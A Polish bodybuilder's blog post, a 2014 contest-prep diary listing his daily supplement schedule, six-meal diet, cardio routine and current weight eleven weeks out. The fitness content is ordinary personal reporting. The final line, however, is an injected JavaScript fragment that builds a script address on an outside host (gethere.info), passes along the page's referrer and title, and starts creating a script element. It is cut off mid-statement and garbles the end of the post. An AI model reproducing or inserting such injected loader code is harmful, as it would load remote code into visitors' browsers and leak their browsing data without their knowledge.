Przygotowania do Mistrzostw Polski 2014

14.02.2014 / Adam Jabłoński / Kulturystyka

Cześć,

W tym roku również poprowadzę dziennik z przygotowywań do Mistrzostw Polski 2014.
Mam nadzieję, że jak najwięcej uda mi się wpisywać – z tym, że jestem bardzo ograniczony czasowo – czyli mam go dużo mniej niż w zeszłym roku.

W przygotowaniach oczywiście wspiera mnie Tomek ” PAPAJ ” Lech, Dawid ” GISZMAN” Geler, pani Agnieszka oraz firma Trec Nutrition – wszystkim za wszystko jestem bardzo wdzięczny – Dziękuje.

Jak wiadomo, każdy chce poprawić formę z roku na rok i wyjść w jeszcze lepszej formie niż w sezonie poprzednim, NOoo i ja też tak mam.

Sezon masowy nie był poświęcony na drastyczne zwiększanie masy ciała, a poprawę grup, które odstawały, więc pozwoliłem sobie trzymać dosyć dobrą formę jak na okres masowy.

Mistrzostwa Polski 2014 będą w terminie 2-4 MAJ.

Zostało 11 Tygodni do Mistrzostw Polski.
Jeśli chodzi o Aeroby, robię je po treningu siłowym po 30 minut 3-4 razy w tygodniu na bieżni z tętnem 120-130.

Suplementacja na 11Tyg

SUPLEMENTACJA :

+ Rano:
– 5 gram CM3
– 5 gram BCAA Powder
– 5 gram Glutamine Extreme
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 1 kaps MULTIPACK SPORT – DAY / NIGHT FORMULA
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab VIT-C Strong 1000
– 1 kaps TRIBULON BLACK
– 1 kaps MAGNE-100 Sport

+ Popołudniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 1 kaps MAGNE-100 Sport

+ Popołudniu: trochę później:

– 1 kaps Super OMEGA-3 + Vitamin E
– 1 kaps Potasu
– 3 tab AMINO 4500

+ Popołudniu: jeszcze trochę później:

– 1 kaps Super OMEGA-3 + Vitamin E
– 1 kaps MAGNE-100 Sport
– 3 tab AMINO 4500

+ Przed Treningiem:

– 10 gram S.A.W.
– 7-10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3

+ Po treningu siłowym :
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3

+ Po treningu aerobowym :

– 50 gram IsoLate 100
– 50 gram Vitargo electro-energy

+ Na Noc:
– 1 kaps MULTIPACK SPORT – DAY / NIGHT FORMULA
– 1 kaps Super OMEGA-3 + Vitamin E
– 10 gram Glutamine Extreme
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 kaps TRIBULON BLACK
– 2 kaps GABA 750
– 1 kaps PROBIOTYKÓW

DIETA :
1 POSIŁEK :
130 gram zmielonych płatków owsianych
50 gram ISOLATE 100

2 POSIŁEK :
75 gram ryżu basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

3 POSIŁEK :

75 gram ryżu basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

4 POSIŁEK :
75 gram ryżu basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

POSIŁEK (po aerobach) :
– 50 gram ISOLATE 100
– 50 gram Vitargo electro-energy

5 POSIŁEK (po siłowni) :
100 gram ryżu basmati
200 gram piersi z kurczaka

6 POSIŁEK :
230 – 260 gram wołowiny

Warzyw na razie nie dodaję, ale będę dodawał jak ssanie w brzuchu nie da żyć, dodatkowo używam jeszcze bezkalorycznych sosów do jedzenia, Tonic bez cukru, Pepsi Max itp.

No i w tym roku na redukcji daje więcej tłuszczy, a mniej węglowodanów, bo lepiej się czuje.
Zobaczymy co z tego wyjdzie

Forma na 11 Tygodni przed zawodami waga 93,5 kg :

Biceps Tyłem 4 Klatka Bokiem 7 LINE UP a Najszerszy przodem 2

Hejas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement('script'); if (document.currentScript) {